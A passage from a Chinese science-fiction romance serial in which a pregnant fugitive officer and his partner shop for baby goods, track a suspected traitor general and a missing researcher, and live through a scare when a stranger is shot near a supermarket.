“奶瓶早了点,等快生的时候再准备,和奶粉一起买,免得过了保质期。”关阙道。 “奶瓶的保质期没那么快吧?” 关阙也有些迟疑,纪九又道:“拿一个备着,万一早产呢?” 关阙的目光落在他肚子上:“拿一个吧。” “你看这是什么动物?”纪九仔细端详一条印满黄色小动物的婴儿裤,再递到关阙眼前。 关阙放下手里的一盒爽身粉,认真地看那条裤子:“是眦汹兽。” “眦汹兽?” “生活在猎马星系4E3行星上的一种野兽,性情凶残好斗。” “可我怎么觉得这是蛄虫呢?就是晨曦星东区沼泽里的蛄虫,好家伙,那才叫真的凶残,能直接生吞一头牛。” 关阙再次看那图案:“不,这是眦汹兽。” “你仔细看看,这分明就是蛄虫。” “两位先生,那只是小米可,是一部儿童卡通片的主角哦。”店员小姐从旁边经过,笑着解释,“小宝宝的衣服上怎么能印凶兽呢?小米可一点都不凶残哦。” 关阙和纪九对视一眼后,再次沉默下来,继续认真看物品架上的婴儿用品。 “这是什么?” “看下说明……吸奶器。” “要买吗?” “你觉得呢?” “我又不会产奶。” “那你还问我?” 两人一边挑选一边嘀嘀咕咕,待到选好所需物品,时间已经过去了快一个小时。关阙从怀里掏出一张卡,递给纪九:“我去下洗手间,你去付账。” “好。” 关阙告诉了密码,便去往洗手间,纪九推着小车去了柜台。机器人已经等在那里,身旁放着三架装得满满的推车,鸟崽坐在其中一架推车上,身上披着一件镶着蕾丝花边的婴儿斗篷。 “买这么多?”纪九惊讶地停下脚步。 机器人屏幕上闪着快乐的光:“婴儿提篮,安全椅,冬天马上到了,也得备上厚实的毛毯,小棉袄,小披风——” “吴思琪。”纪九打断它,“可是藤谷星现在已经进入初冬,他都不会在冬天出生。除非带着这些东西回到银辉星,银辉星现在才是春天。” 机器人看看纪九,又看看推车:“……哦,是哦。” 纪九选出要用的物品结账,刷过卡,见关阙走出洗手间,便要将那张卡还给他,关阙却道:“你拿着吧,平常你自己也要花钱。” 纪九没和他客气,直接将卡收进衣兜。他也没问这卡里有多少钱,反正不管钱多钱少,他都只会用来买点日用品。 轿车启动,店长带着几名店员站在门口,朝着车内真诚地鞠躬:“两位爸爸慢走,欢迎下次再来。”店员们也齐齐声音洪亮地道,“两位爸爸慢走。” 纪九忍不住偷偷看了眼关阙。 关阙正盯着后视镜,在将轿车汇入车流,像是没有听见,纪九便又收回视线。 轿车顺着车道往前,在已经驶出两条街后,关阙却突然道:“这家店挺不错的,我们下次再来买点东西。” 纪九正在想其他事,愣了一瞬后,才反应过来他说的是什么,便应了声好的。 他们在交易所取到了刚空运来的材料,再去了城内规模最大的一家智能人商店。 纪九抱着鸟崽在大厅等着,店员则带着吴思琪和关阙去往技术间。 “这边请。”店员在前方带路,边走边问,“希先生,我们要给您的智能人做测量,然后根据它的形体做出最适合的腿。请问除了基本功能外,您对这双腿还有没有什么要求?” 关阙还没回答,机器人便道:“我的要求很简单,除了能行走,我希望它还可以变成一辆滑板车,我想开车的时候就开车,想走路的时候就走路。我希望我的脚也有伸缩功能,可以伸出去很长,软的,能搭在横梁上那种,下面挂个摇篮,可以哄宝宝睡觉……” 店员:“……” 纪九抱着鸟崽,在空荡荡的厅内转了一圈,又溜达出门,逛进了旁边的一家医疗材料店。 因为战乱不断,不少人会在炮火中失去肢体,所以医疗材料店主要出售外骨骼、支撑器和假肢之类用品。 这家店靠墙摆着一溜轮椅,橱窗里也放着一架外骨骼。柜台前还站着一名失去了右肢的客人,正在店员的帮助下试戴假肢。 “这种假肢很好用,军队经常来采购,银辉人也盗取了我们的技术,在生产这种产品。您还可以用这个调整抓握力度,让假肢的抓握力达到机械三级水平。你按下这个按钮,就会自动开始调节,想要一级就按一下,二级就按两下,三级就按三下。您来试试,就像我刚才给您示范的那样做。” 客人抬起左手,小心地连着按下右臂内侧的按钮。 哒!哒!哒! 这三声音量不大,却很清脆,正抱着鸟崽在店内转悠的纪九却顿住脚步,慢慢转过了头。 “好像有点不太灵活——” 客人的右臂便突然被人握住,他惊愕地发现,握住他手臂的是名从未见过的年轻人。 年轻人长相俊美,穿着的衣服一看便是名牌,但做出的动作却很奇怪。 他牢牢抓住客人的右臂,用食指敲击,又翻来转去地看,在发现右臂上的按钮后,连按了三次。 “这位——” “嘘!”年轻人皱着眉,让客人不要出声,客人竟也咽下了那些斥责的话。 哒!哒!哒! 年轻人在听见那三声响后,终于松开手,神情既怪异又激动。直到店员出声询问,他才连忙道歉,又抱起地上一只穿着披风的秃毛鸡,匆匆离开了商店。 客人半晌才回过神,指着他的背影问店员:“这是……” “孕激素。”店员连忙安抚,“没事没事。” 纪九大步走向智能人商店,差点撞着迎面而来的人。他连忙避开,继续往前,脑中却只浮现着一个人的身影。 那人身材高大魁梧,神情严峻,嘴角和眉间有着深刻的纹路,两手永远戴着一副黑手套。 纪九回到店内时,关阙已经等在厅内。见到他神情不对劲,立即往外看了眼,见没有什么异常,才低声问:“怎么了?” 纪九将鸟崽放下地,鸟崽便颠颠地跑向机器人,他则一把抓住关阙的胳膊,用有些暗哑的嗓音道:“我知道那个人是谁了?” 关阙瞬间便明白了他的意思:“他是谁?” “吴思宇。” 纪九便将之前发生的事,一五一十地告诉了他:“我按下了三次按钮,听见那假肢发出的提示声,就和我们听见的那个哒哒声一模一样。而吴思宇以前在战场上失去了双手,一直都是戴的假肢。” 关阙听完纪九的讲述,没有出声,只微微皱着眉。纪九又语气急切地道:“阿宝,我想回一趟银辉星。” 关阙只沉默地看着他。 虽然他一言不发,但纪九和他对视片刻后,急促的呼吸渐渐平稳,整个人也终于冷静下来。 “是啊,我现在没法回去。”他松开关阙胳膊,喃喃道,“我是银盟军列为特级通缉的对象,就算能混进银辉星,也没有办法接近吴思宇,这样去的话只能是自投罗网。而且一个假肢,一段录音,就能作为证据去指证一名银盟军将军,让所有人相信他是幕后者吗?” 他垂下头,自嘲地笑了声:“我甚至不能把这事告诉我哥,他所有通话肯定都被银盟军监听了,我现在联系他,无异于把他也拖入泥潭。” 关阙轻轻叹了口气,拉起他的手,牵着他去一旁的长椅坐下。 “你还怀着孕,再过几个月就要生产,确实不适合去银辉星。不如耐心等一段时间,等孩子生下来,而银盟军对你的抓捕也不再那么紧,那时候我们再去银辉星,去找出指证吴思宇的确凿证据。” 纪九听见他说的是我们,心头一动,问道:“你要陪我一起去吗?” “不愿意?”关阙挑起半边眉。 “那当然愿意了。”纪九赶紧道。 关阙柔声道:“那就别再想了,暂时把这事放下,到时候我会陪你一起去的。” 银辉星耀炽城银盟军军部。 战备总指挥刘衡坐在宽大的办公桌后,拿着一把小木梳,对着搁在桌面上的小圆镜梳头。他的亲信副官就坐在对面沙发上,正在翻阅一摞文件资料。 “根据截获的情报,暗影军团在抓捕一名叫做关阙的序列者。”副官道。 刘衡面容和善,身体有些发福。他看着有些光亮的头顶,用梳子将左边的头发往上拨,嘴里问:“关阙?上次在耀炽城兜了一圈的就是他吧?” “是的,就是他,还和纪南瑾是一伙的。”副官道。 刘衡梳头发的动作顿了顿:“宇辰。” “在。” “我问你,如果纪南瑾和关阙是一伙的,那么暗影军团明明在四处抓捕关阙,纪南瑾怎么又和暗影军团勾结上了呢?” 副官想了想:“也许关阙并不知道纪南瑾与暗影军团和塔柯军勾结?或者纪南瑾和他关系没那么好,只是在耀炽城撞在了一起?” “我们在H58的调查结果,表明不止纪南瑾一个人曾躲在那地下矿场,还有另外的人。而死在矿场外的,也不止我们的特别小组,还有暗影军团的人。” “您的意思是,关阙也在H58,他和纪南瑾一直呆在一起?” 刘衡点了点头:“他们的关系并不是在耀炽城撞上那么简单。” “所以……”副官试探地问。 “所以啊,这个事情有点说不通。我觉得纪南瑾是不是那个和暗影军团勾结的泄密者,得打上一个问号。” 副官听见他的话,神情顿时一凛。 刘衡已经将左边头发尽数梳了上去,稀稀拉拉地盖住了头顶,便满意地收回小梳子,再合上圆镜。 “你去做你自己的事吧。”刘衡道。 “是。”副官站起了身。 “对了,上次那个生发膏效果还不错,再去给我买一瓶。” “是。” 待到副官离开了办公室,刘衡坐在靠椅上想了会儿,接着拨通了电话。 “老吴啊,我有件事要和你说一说。” 第52章 接下来几天,关阙每天都会出门。他在这里的身份是一名来自塔克星的材料商人,自我定位人傻钱多,所以很快便做成了两笔生意,也迅速结识了当地的材料商,算是跨入了他们的社交圈。 他每天早出晚归,回家时也会带着或浓或淡的酒气。纪九不管多晚都会等他,两人再一起分析下当天的情况。 “纪九,我准备休息了,你还不睡觉吗?” 机器人穿着一条印着椰树蓝天的睡裤站在沙发旁,屏幕上显出打着呵欠的脸。 它对自己的两条新腿非常爱惜,也染成了粉红色,平常怕蹭着刮着,还要穿裤子,纪九便在童装店给它买了几条大童穿的裤子。 “你去睡吧,雀宝也睡了,我再过会儿。” “睡前记得喝杯牛奶。” “我知道。” 待到机器人去自己的房间关机充电,纪九一边心不在焉地看电视,一边注意听着外面的动静。 当听见由远及近的汽车声后,他倏地起身,去了窗户旁往外望,接着快步走向大门,站在门外的台阶上。 深灰色轿车停在了庭院门口,一名陌生男人将关阙从副驾驶扶了出来。纪九连忙迎上去,将人接过,和那男人道过谢后,便扶着关阙进屋。 “这是喝了多少?”纪九将关阙的手搭在自己肩上,一手揽着他的腰。 关阙闭着眼睛,脚步虽然有些踉跄,却没有将身体重量放在纪九身上。 “三,三瓶。” 纪九啧了一声:“才三瓶就喝成这个样?你下次把九哥带上,看九哥不把那一群人全部灌趴下。”接着又问,“走得动吗?要不要我把你背进去?” “不,不用。” 待到两人进入院子,那名像是某位老总助理的人又打了声招呼:“希总,刘先生,那我就回去了。” 关阙挥挥手:“小刘,回去告诉,告诉李总,说,下,下次继续喝。” “好的希总。” 待到那人离开,纪九继续扶着关阙上台阶,嘴里道:“我有经验,你现在这种状态还行,回家后倒头就睡,明天不会头痛。小心脚下,有台阶。” 关阙却在这时站稳了身体,原本醉意朦胧的眼神也恢复了清明。 纪九愣愣地和他对视两秒:“这是演戏还是酒醒了?” “九哥,背我进去。”关阙垂眸看着他,脸上似笑非笑。 “cut!”纪九将搭在自己肩上的手拨掉,“自己走。” 两人进了屋,关阙瞥了眼他肚子,问道:“他今天怎么样?” “老样子,时不时踹上一脚,力气还不小。” 关阙嗅了嗅自己身上,立即和纪九分开一点距离,要往楼上走。 “我先去洗个澡,把身上的酒气洗了。”关阙道。 “等等,别着急。”纪九却一把将他拉住,凑近了,在他脖子处嗅闻,“再让我闻闻,我都好久没尝过酒了,可真香啊……” 关阙身体僵了一瞬,接着伸出一根手指,抵在纪九额头上,将他慢慢推开。 “你成天出去应酬,就不能带我去一次吗?”纪九问。 关阙果断拒绝:“不行。” 纪九抱住他的胳膊,对他眨了下眼:“这样呢?” 关阙侧头看着他,慢慢笑了起来,纪九便也跟着笑。但关阙立即又沉下脸:“不行。” “美男计都不行?你也太较真了。” “你这电放得太粗糙,敷衍。”关阙又侧头看了他一眼,“但我可以去打听一下,看看有什么孕夫可以喝的酒,给你弄一点。” “我就知道你扛不住我的电。”纪九笑道,“到时候炒两个菜,咱俩好好喝一杯。”他转头看了眼右边,确定机器人已经回房休息,便低声道,“下酒菜,必须不能让吴思琪做。” 关阙道:“你们银辉人口味的下酒菜,我倒是可以做两样。” “哪两样?”纪九搓搓手。 “老醋小螺鱼。” “妙……” “茨芽拌牛肉。” “绝……” “有品位。”关阙点点他,“等着,明天。” 两人抬手击了个掌,关阙便上楼洗澡。纪九则去了厨房,给他冲泡醒酒汤。 待到关阙洗完澡,一身清爽地下楼,纪九坐在沙发上,对着他笑:“刚才在院门口的时候,你演得不错啊,那眼神都在发飘,我都差点被骗过了。” 关阙也笑了起来:“不装醉不行,不然走不了,要喝到半夜去。” “显摆,尽在我面前显摆。”纪九又问,“今天怎么样?” 关阙在他旁边的沙发上坐下:“稍微有一点收获。” 纪九将醒酒汤递给他:“说来听听。” 关阙接过汤碗,垂眸看着碗里的深棕色汤水:“十三年前,大长老为了夺取智慧之心,谋害了当时负责保管智慧之心的柯长老。柯长老在临死前,把智慧之心交给他一名叫做艾阿扎的亲信。艾阿扎带着智慧之心出逃,至今下落未明,同时失踪的,还有他的侄子。” 纪九知道他在找智慧之心,每天也会问问进度,但从来没主动询问过智慧之心的来历。既然关阙现在主动提起,他便坐直身体认真听。 “我前次去耀炽城,幽冥也告诉了我一点有关艾阿扎的消息,但不是艾阿扎本人,而是他的侄子厉奔。” “你来古费城,要找的人就是厉奔?”纪九立即问。 “对,幽冥告诉我,厉奔应该在古费城。”关阙点点头,“厉奔以前还在族里时,从事的是研究某种新型材料的工作,根据他的专长,他到了古费城,应该也还是干这个。我这几天和古费城的材料商们接触,也搞清楚了城里几家材料厂的情况,准备好好查一查,把人给找出来。” “你见过厉奔吗?有没有照片?知道他长什么样吗?”纪九问。 “没见过,也没有照片。”关阙叹了口气,“只知道他左手小臂上有一块红色的胎记。” 纪九也犯了愁:“几家材料厂的技术员,加起来怎么也得百来人,总不能把人都抓起来,一个一个看手腕吧。” 关阙瞧他这样,反倒来安慰他:“反正离孩子出生还有好几个月,我先和那些材料商搞好关系,一点点来,不着急。” “是的,我们有的是时间,所以你一定要谨慎小心,不要冒进,免得被人发现。”纪九趋前身对他道,“实在不行,我们就选个夜黑风高的晚上,潜入那些工厂,一脚踹开宿舍门。”他做了个拔枪的动作,低喝一声,“都不许动!打劫!打劫手腕,都把手腕子给我亮出来!” 纪九说完,自己便嗤嗤地笑。关阙也靠着沙发背露出微笑,手指轻轻敲击着沙发扶手,看上去非常放松。 “对了,你这几天在外面到处逛,我没有陪着你,你自己也要当心点。不管大事小事,记得马上联系我。”关阙说到这儿,又想起了什么,微微蹙起眉,“你总是不回我信息。” 纪九一怔:“什么时候?” “今天下午就没有回我信息。” 纪九马上掏出电话,点开和关阙的聊天记录,从下往上翻。 他俩的聊天记录密密麻麻,文字不多,基本上都是现拍的照片,夹杂着少量表情包。 比如纪九下午在小区里闲逛,拍了一张地上的落叶发过去,表示他现在正在散步。关阙立即就发了张照片过来,是家里那辆车的方向盘,意思他正在开车。 纪九咔、咔、咔,拍了数张小区里风景照,关阙咔、咔、咔,拍了不同角度的方向盘。 纪九拍下电视屏幕,关阙就拍来一叠文件。纪九发去半碟正在吃的干果,关阙就发回半杯冒着热气的咖啡。 双方有来有回,极少打字,只用照片表述自己此时正在做什么。 纪九迅速向上翻着照片,翻过很多的落叶树干和方向盘文件包,时间也才回溯到下午三点。 “我哪儿没回你信息了?”纪九问。 关阙接过他的电话,自己往上翻。又翻了好几页,直到翻到下午两点二十分,指着一张照片道:“就这里,我告诉你我去了趟洗手间,然后问你在干什么,你没有回我。” “你把洗手池旁边的洗手液拍下来发给我,我那时候正在沙发上躺着,懒得动,就没去洗手间拍。” 关阙有些疑惑:“你为什么要去洗手间拍?” “你发洗手液,那我怎么也得去拍个沐浴露什么的,看上去才工整啊。”纪九道。 “又不是对对子,还要讲个工整?你这条就没回我。” “我后来也回你了。”纪九指着手机,“我给雀宝洗澡,拍了张雀宝的照片发过来,这不就补上了?而且你看,浴缸旁边就有沐浴露,对上了。” 关阙抿了抿唇:“那都过去了快半个小时。” “也才半个小时嘛。” “虽然只有半个小时,但是我会担心。”关阙黑眸沉沉地看着他。 纪九听见这话,顿时就卡了壳,心跳也有些加速。 “我知道了,以后我一定及时给你发。”他又低声补充,“你也要快点回复我,不然我也要担心。” 关阙软下声音,目光专注且温柔:“那你有什么就发什么,我又不讲究对仗工整。” “我知道的。”纪九被他用这样的目光注视着,有些脸热地移开视线,小声道,“说话就好好说话,别动不动就放电。” “我有放电?”关阙略微一怔。 “肯定有啊。”纪九还是盯着左边地面,“滋啦,滋啦,滋啦……” 两人都没有再说话,屋内突然变得安静。关阙端起面前的醒酒汤喝了一口,又慢慢笑了起来。 第二天,关阙吃过午饭后便出了门,纪九则带着鸟崽和机器人,离开小区去附近散步。 只要走出这条大街,再往右拐,便离开了主街道。这条路的尽头是古费城塔柯军军工厂,所以行人和车辆都比较少。纪九一边走一边拍,将路旁的藤条嫩芽儿,鸟崽和机器人的背影都拍下来,统统发给关阙。 身旁突然响起汽车声,纪九收起手机,看见两辆满载乘客的大巴在身旁停下。车门打开,从车上涌下来一群人,都穿着统一的灰扑扑的工作服,胸前印着军工厂三个字,表明他们全都是军工厂的职工。 纪九虽然不排斥普通塔柯人,但对和塔柯军有关的事物还是很抵触。他平常在这条路上散步,走至一半便会掉头,绝对不会离军工厂太近。现在看见这些军工厂的人,也下意识往旁边避开,让出了人行道。 这些职工可能是有什么统一活动,才从外面返回。他们下了车后,便赶时间般飞快前行,有些还在小跑,看见站在路旁的纪九,也只是多看上两眼,又匆匆往前。 纪九正想喊回前方的机器人和鸟崽,就听扑通一声,右前方的一名职工没有注意路面,被一根绕在墙边的线缆给绊倒。 另外的职工便去拉他,嘴里道:“这是开会坐太久了?脚都发软。” 那名摔倒的人没有做声,只伸长手被人拉着,从地上爬了起来。 纪九瞥了一眼便移开视线,但心中突然一跳,又转回了目光。 只见那人伸长手后,袖管下滑,露出的一截小臂上,有着一块钱币大小的红色胎记。 “大家快点,塔柯星方面催得很急,今天我们就要把那批产品做出来。” 那人站起身便往前跑,纪九回过神,赶紧追了上去。但还没跑出两步,旁边岔道处便驶出一辆小车,他又只能停下,等那辆车驶过。 纪九继续往前追,那群人却已经跑远,且都穿着同样的服装,背影一模一样,也辨不出谁是那名刚摔倒的人。 “哎,等一下,刚摔倒的那位,等一下。”纪九一边追一边喊,背着鸟崽的机器人见状,也跟着一起跑。 “站住!” 当纪九听到这声喝令,这才注意到身前那几名荷枪实弹的士兵,还有他们身着的塔柯军军装。 他的血液瞬间冲到头顶,第一反应便是做了个摸枪的动作。不过他的手才搭上后腰,看见身前的军工厂大门,便立即反应过来,脑子也瞬间清醒。 “你要做什么?”几名士兵立即端起枪,警觉而防备地看着他。 “纪九。”机器人背着鸟崽靠了过来,像是想要挡在他身旁。 纪九立即将它拉住:“我衣服刚才被藤勾住了,没事,已经扯掉了。” 机器人看着纪九,又看看士兵,屏幕上那双眼睛已经缩成了针尖大小。纪九生怕它做出什么举动,立即撩起外套:“没事的,你看我没事的,冷静,吴思琪,我没有被藤勾伤,冷静……” 机器人这次终于明白过来,只一声不吭地站在他身旁。而士兵们看见他那凸起的小腹,顿时也放松下来,神情不再那么紧张。 “你大呼小叫地往厂里冲做什么?你知不知道这是什么地方?”一名士兵问。 “我在前面散步,刚才有位先生摔倒了,他的钱包掉在了地上。”纪九说话间,已经悄悄将自己钱包里的卡和证件拿出,只留下现金,再走前两步,将钱包递给了一名士兵,“我也不知道他是谁,麻烦你将这个钱包还给他。” “好的。”士兵的神情更加和缓。 “走吧。”纪九低声对机器人道。 但他刚转身,还没提步,不远处的岗哨亭里便突然响起一道声音:“那位先生,等等。” 纪九停下脚步,看着从岗哨亭里走出来的一名高级军官,指了指自己鼻子:“是叫我?” “对,就是你。”那人道。 纪九茫然地问:“什么事?” 高级军官走了过来,上下打量着纪九:“你叫什么名字?” “刘金福。” “刘金福,刘金福。”军官反复念了两遍,“身份卡给我看看。” 纪九从裤兜里掏出身份卡,军官接过来看了一眼,向后点了下头。一名士兵便跑上前接过卡,再跑步回了岗哨进行验证。 军官又看向机器人,见它全身粉红,还穿着一条儿童牛仔裤,显然是一名家用机器人,便不感兴趣地转开视线,继续打量纪九。 “怀孕几个月了?” “五个多月。” 军官点了下头:“我是不是在哪儿见过你?总觉得你有些面熟。” 纪九心头一跳,却不动声色:“有可能吧。因为我就住在附近,总是会出来散步遛弯。”他转头指着远处,“喏,那边的秋藤沙小区,可能你有时候会看见我。” 那名士兵拿着身份卡片跑了回来:“万中校,身份卡信息正常。” 军官便只说了声还给他吧,便转身走向了岗哨。 纪九接过身份卡,对士兵笑了笑,带着机器人走向小区方向。他一边走,一边碰碰路旁探出围栏的沙藤,看似轻松闲散,实则后背已经被汗水濡湿。 他已经回忆起那名军官的身份。他在执行某次任务之前,曾看过对方指挥官的照片,便是这名万中校。想来对方同他一般,曾经在某次战斗前看过他的照片,所以刚才会觉得他有些面熟。 幸好他现在变化太大,万中校就算事后想起来原因,也不会相信那名银盟军指挥官会出现在古费城,还一副大腹便便的模样。 纪九走出两步,不知道是不是因为刚才情绪太过紧张,让胎儿也感觉到了不安,连接踹了他好几脚。 他走出这片区域,直到再也看不见军工厂,这才掏出电话,伸手去按关阙的号码。 电话响了一声便被接起,话筒里传出关阙的声音:“金福?” 纪九也不去计较他叫自己金福,只低声道:“我应该发现了你要找的人——嘶。” “怎么了?”关阙声音变得紧张。 “就是找到了——” “先别管那个,你现在是什么情况?” “哦,我没事的,只是肚子痛了一下。” “你现在在哪里?” “就在军工厂附近。”纪九回道。 关阙道:“你先回家,坐着休息,我马上就回来。” “好的。”纪九又问,“你现在在做什么?会耽搁正事吗?” “没有什么正事,就是在一家咖啡厅里和王总聊天,离家也不远。” 关阙挂掉电话,对坐在对面的两人道:“不好意思,我伴侣身体有点不舒服,我现在要离开一下。” 对面的两人像是听到了什么超出理解范围的话,呆愣片刻后才反应过来,其中一人拿着一叠合同结结巴巴地道:“希总,可,可我们正在签合同啊!” 关阙已经取下自己挂在衣帽架上的外套:“很抱歉,明天再给王总和刘总二位赔罪。” 关阙说完这句,便大步离开了咖啡厅,只留下桌旁面面相觑的两人。 第53章 纪九回到家不过二十分钟,关阙便推开了家里大门。他看上去回来得很急,外套搭在手臂上,在咖啡厅内解开的两粒衬衫纽扣也没有系好。 “阿宝。”纪九看见他,便从沙发上坐直了身体。 关阙将纪九飞快地上下打量了一遍,见他看上去一切正常,这才松了口气,问道:“感觉怎么样?” “就是胎动,只疼了那一阵,现在没感觉了。” “怎么会突然疼的?干脆去医院检查一下吧。” “吴思琪说这是正常的,是我刚才太紧张的原因,不用去医院。” 关阙在他身旁坐下:“为什么太紧张?刚才发生了什么事?” “还真的有事。”纪九目光发亮地看着他,“我可能找到那个厉奔了。” 纪九将之前的经过一五一十地告诉他,又道:“我没看见他的长相,也不知道他叫什么名字,但是我把钱包给了值岗士兵,说是他掉的。士兵自然会去找人,不管他收不收钱包,我们就能知道他谁。明天我再去找下士兵,把他的姓名问出来。” 关阙沉吟:“再过几天吧,如果因为这点事连续两天去军工厂,难免会引起人的注意。而且你最好不要再出现在那万中校面前,到时候我去就行了。” 纪九想了想,觉得没什么问题,便道:“行,你去也可以。” 关阙看了他一眼:“如果你真被人认出来了,不要慌张,更不要反抗,直接让他们抓走就是了。什么都别承认,我会想办法把你弄出来的。” “我当然知道,其实我当时已经做好了束手就擒的准备。”纪九道。 “是吗?”关阙不太相信的口气,“我怎么觉得你会和他们干起来?” “就在军营门口干出来,我又不是傻的。”纪九冲他挑起半边眉,“我肯定乖乖让他们带走,就坐在审讯室里,无可奉告,对不起,在见到我伴侣之前无可奉告,然后静等古费城新贵希总来捞我。” 关阙突然就没了声音,只端起面前的茶水,又轻轻咳了一声:“知道就好。” 虽然纪九这次并没有出事,但关阙对他更不放心。只要出门了,过会儿就是一张照片发来,如果纪九过上十分钟都没有回消息,电话立即就打了过来。 几天后的一个下午,关阙出门赴约。纪九发现家里差点日用品,打算去趟附近超市。 “雀宝,要和爸爸去逛超市吗?”纪九问。 鸟崽每天只能看两个小时的动画片,还要分成上午下午和晚上三个时间段。它现在正看得入神,听见纪九的话后,便滑下沙发朝大门走,脑袋稳稳地朝着三维屏方向。 但快要走出可视范围时,它停住,后退两步,看完这句对白后继续往前。又在下一句对白响起时停住,后退两步…… 纪九见它走走退退,便道:“那你就在家里看电视算了。琪宝,你也在家陪着它,不然不放心。” “好的。”机器人应道。 超市距离他们小区只需要经过一个街口。古费城的深秋气温较低,吹来的风都带着寒意。纪九穿着一件厚绒咖色外套,脚蹬软乎乎的懒人鞋,没走出几步便听见电话响。 接通后,关阙的声音从对面传来,听上去正在开车:“在家吗?” “你这么快就办完事了?” 纪九自己都没察觉,他语气里满满都是惊喜。 “嗯。”关阙的声音带上了一丝笑意。 “那你先回家,我去超市买点东西,很快也就回去了。”纪九道。 关阙放下电话,看了眼副驾驶。 副驾驶座位上放着一个鼓鼓囊囊的密封纸袋,上面印着元记酥栗饼几个字。 其实他本可以回家得更早,今天很快便和几名老总谈完事,离开大楼去往停车场。 但他驾车路过一个街口时,看见路旁排着长长的队伍,还有人在拥挤的队伍前头吆喝:“元记酥栗饼,干净营养又美味,最新鲜的酥栗馅儿,特别适合老人孕夫孕妇和小孩……” 孕夫两个字钻进耳朵,让他下意识往那边看了一眼。 纪九最爱吃这些香甜糕点,可这些哪有什么真正的营养?要说营养的话,远远不如家里炖煮的鸡汤。 垃圾食品还这么多人抢?真是不可思议。 半个小时后,关阙有些狼狈地挤出人群,扶好挂在鼻梁上的眼镜,提着一袋酥栗饼,登上停在路旁的轿车。 这个时间段不是下班高峰期,路上车辆不多,他和纪九通完电话,便一路畅通无阻地开到了秋藤沙小区。但他并没有将车驶入大门,而是继续顺着街道往前。 既然纪九已经去了超市,他打算干脆就开车去接人。 而且这种垃圾食品的老板说,要趁热吃口感最好。 超市离得不远,他很快便看见了左侧的那栋建筑,也看见了超市正门口来来往往的人。 但他的车刚刚抵达超市前方的路口,红灯便亮起,只得踩下刹车。 关阙按下车窗,目光留意着超市大门口的人,手指轻轻敲击着方向盘,偶尔瞥一眼红灯倒计时。 35,34…… 关阙再次看向副驾驶座,将倒下的纸袋扶正。但他刚收回手,便听见不远处传来一声清脆的枪响。 此时四处不算喧闹,这声枪响便很是清晰,让街上的所有行人都转头看了过去。 关阙也朝那方向看了眼。 那是这十字路口的另一条道,附近已经有行人奔向那里看热闹。街边经过两个匆匆前去的行人,对话声传入车窗。 “……我朋友在超市工作,说有个孕夫在超市里就被人拿着枪追赶。那孕夫从超市后门逃出去了,但好像还是中了枪……” 5、4、3、2、1。 红灯倒计时结束,绿灯亮起。 排在这条道最前面的是一辆深灰色豪华轿车,在绿灯亮起后没有任何反应,身后的车辆按响了喇叭催促,它却依旧一动不动。 第二辆,第三辆车都插入旁边车道离开,后面的车也都跟着变道。怒气冲冲的司机们在经过第一辆车时,准备按下车窗骂人,却发现那辆车的车门虚掩着,车旁地上躺着一副眼镜,车内空无一人。 关阙在街上发足飞奔,迅速超过那些也在赶向出事点的人。路旁堆放着一大堆刚卸的货物,他直接跃起身,从那堆货物上跨过,看得抱着一只纸箱的小工瞠目结舌。 超市后门处已经围着一大群人,关阙直接将人推开,冲了进去,一眼便看见了地上躺着的孕夫。 孕夫侧着头躺在地上,旁边还蹲着几名热心路人,正拿毛巾按住他的伤处。从他这个角度,只能看见孕夫高耸的肚子,棕色的毛绒外套,还有身旁那摊鲜红,刺得他眼睛也跟着一片血红。 关阙大步走了过去,一把拎起其中一名路人的后颈,丢开,再在孕夫身侧单膝跪下。 被丢开的人原本要出声,但瞧清关阙那像是要杀人的神情,还有那失去血色的脸和唇,便猜到他和孕夫的关系,立即收住了声。 孕夫右胸靠肩胛处中枪,被人按着伤口。关阙拨开那人的手,自己去按住,同时俯身去抱人,要将人送去医院。 “别动他,旁边就是医院。” “你别动他,他受伤了。” “没事的,没有伤到要害。” “医生听到动静,已经来了。” …… 围观的人也瞧出他应该就是这名孕夫的伴侣,都七嘴八舌地道。 关阙听见医生正在赶来,便停下了抱住纪九起身的动作。他看着那还在往外沁出鲜血的伤口,胸口彷佛也嵌入了一颗子弹,只觉得呼吸不能,心脏撕裂似的痛。 “医生为什么还没来?”他抬起头,嘶哑着声音问道。 他双眼布满红丝,神情近乎狰狞,旁边的人忍不住往后退了半步,才小心回道:“医生跟在我后面跑,因为抬了担架,所以跑得稍微慢一点。” “来了来了,医生来了,快让让。” 关阙看见了那正钻入人群的白大褂,便垂下头,用沾着血的手去托起纪九的侧脸,声音发颤地道:“别怕,别怕,你不会出事的,不会——” 他的话突然戛然而止,停在了嘴里。 伤者的头随着他的手微微回正,映入他视野的却不是纪九,而是一张他从未见过的,陌生的面孔。 “先生,你松下手,我们现在要搬动伤者,先生?” 医生的话让关阙回过神,他愣愣地松开手,只看着受伤孕夫被医生们动作麻利地放上担架,再被人群簇拥着迅速去往旁边医院。 他一直看着担架离开,才像是浑身力气被抽干一般,慢慢向后坐了下去。 他就这样坐在地上,直到那嗡嗡的耳鸣声消失,也重新感觉到了肢体的存在,这才撑着地缓缓站了起来。 他掏出手帕擦掉手上的血渍,再拿出手机,按下电话簿里保存的第一个号码。 “阿宝。”纪九的声音响起,略微有些沙哑。 “你在哪儿?” 关阙刚问出这句,便保持举着电话在耳边的动作,顿在了原地。 纪九就站在街对面一根电线杆旁,穿着一件棕色毛绒外套,手里提着一个鼓鼓囊囊的大袋子,如同一只身形臃肿的棕熊。 他隔着十几米的距离和关阙对视着,一眨不眨,目光灼热滚烫,眼瞳似乎都有些奇异地发亮。 两人都没有开口,只互相对视着,都能从电话里听见对方略显急促的呼吸声。 纪九抬步,朝着街对面走来,关阙余光瞥向旁边,对着电话喊了声:“小心!” 纪九脚步暂缓,待一辆轿车从面前驶过,这才继续往前。 他边走边打量着关阙,看那平常风度翩翩的人此时显得有些狼狈,头发凌乱,两只手和衣服上都是血渍,皮鞋上沾满尘灰。 但就算如此,他依旧那么英俊,英俊到近乎完美,英俊到纪九的心脏都快要跳出胸腔。 纪九此时的神情看上去有些严肃,嘴唇紧抿,脸也崩得很紧,像是在和谁生气似的。 但他自己清楚,他在挤入人群,看清那名抱着伤者的男人,看清他那张总是平静的脸上,露出极度恐慌和害怕的神情时,心里除了心疼,还升起了一股浓烈的情绪。 这股情绪在他胸腔里左冲右突,即刻就要喷薄而出,他不得不竭尽全力才能压住。 “你知道我现在想做什么吗?”纪九对着电话问。 “不知道。”关阙声音很轻地回道。 纪九没有回答,只动手挂掉电话,大步朝着关阙走来。他脚步越来越快,最后两步跑了起来,被迎上去的关阙拉了一把,让他站定在了自己身前。 